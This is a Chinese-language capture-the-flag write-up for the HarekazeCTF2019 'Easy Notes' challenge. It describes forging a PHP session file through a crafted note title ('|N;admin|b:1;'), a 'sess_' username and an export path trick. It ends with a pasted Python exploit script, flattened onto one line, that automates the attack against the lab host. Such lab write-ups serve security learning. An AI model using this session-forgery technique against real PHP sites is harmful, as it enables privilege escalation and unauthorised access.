BUUCTF：[HarekazeCTF2019]Easy Notes

题目地址：https://buuoj.cn/challenges#[HarekazeCTF2019]Easy%20Notes

Session伪造 + Session反序列化
session反序列化问题请参考：https://blog.csdn.net/mochu7777777/article/details/106909777

flag.php

满足is_admin()即给出flag

无数据库操作，即通过识别session辨别身份

session保存路径为/var/www/tmp


Add note写入的文件也保存在这个目录，并且$filename满足session文件名要求：以 sess_ 开头，且只含有 a-z，A-Z，0-9，-

那么只需要创建一个用户名为： sess_
Ubuntu默认安装的PHP中session.serialize_handler默认设置为php，而这种引擎特点是即可使用|作为键值隔离符。利用|即可将序列化字符串拼接
然后Add note提交title为：|N;admin|b:1;，这样反序列化结果即可为：admin==bool(true)
最后export.php?type=.即可使得这个.与前面的.拼接成..被替换为空，$filename也就成为了session文件名了

接下来只需要将这个文件名sess_后的部分-1efc41617c4985c1填入PHPSESSID的值即可反序列化得到flag

貼个网上的脚本：

import re
import requests
URL = 'http://a57fc9a9-2abd-4fcd-b11b-246e3e346706.node3.buuoj.cn/'while True:# login as sess_sess = requests.Session()sess.post(URL + 'login.php', data={'user': 'sess_'})# make a crafted notesess.post(URL + 'add.php', data={'title': '|N;admin|b:1;','body': 'hello'})# make a fake sessionr = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']print(r)sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]print(sessid)# get the flagr = requests.get(URL + '?page=flag', cookies={'PHPSESSID': sessid}).content.decode('utf-8')flag = re.findall(r'flag\{.+\}', r)if len(flag) > 0:print(flag[0])break